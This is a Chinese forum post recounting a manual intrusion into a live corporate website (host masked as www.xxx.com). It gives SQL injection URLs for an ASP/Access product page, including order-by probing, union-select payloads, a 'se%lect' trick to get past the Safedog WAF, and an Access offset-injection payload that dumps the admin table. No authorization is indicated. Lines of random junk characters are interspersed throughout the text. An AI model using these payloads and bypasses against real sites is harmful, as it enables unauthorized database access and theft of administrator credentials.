一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
​

' q* R, F, g' c: |( p顺手加个admin
/ z  F6 y0 v8 m: x& c2 G: l​
, j7 _- ?1 e4 x+ l% S* s1 `
8 I0 b% r7 f; r8 K) V默认后台。
2 ]. T3 H) q8 R3 \9 C回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​
1 C8 i8 Y, W+ n' K9 Y/ {9 X
* i3 ^* Y2 B( i, S% P5 d3 ~0 j
' W1 p, D9 w% D2 ^% u, P5 H
所以就不用御剑扫了，待会直接封IP。

2 A! @$ Y( Y3 C; h' `用order by语句判断是否存在注入。
3 V1 H: s% e# K4 \  G: X' }: ohttp://www.xxx.com /product_show.asp?id=997 order by 1
http://www.xxx.com /product_show.asp?id=997 order by 100
现在存在注入，经测试后发现是9个字段。
! u; ~, D8 C( d& ~0 V% U1 i9 R7 x
$ I% N: ~3 |  U& r6 Z- ]接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​

1 A( _1 T. Q: G4 F, @4 m4 g2 f
$ @6 m; g* s/ y  s/ Z: S8 k$ R
在select中间加个%,se%lect绕过安全狗。
​
$ g& K. o  K3 I! T
发现存在admin表，然后开始手工猜常用的字段。
纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
% m9 K" Y1 _  U  B' b! `
突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。

& U7 R6 a2 R5 o# g+ {, Z7 u" x科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
! ~) q; g& [( w6 L* {4 p5 whttp://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
# i  J& m' }1 @! @8 o; A好了，敏感内容出显了。​


8 Y5 X# O! T& `/ B2 K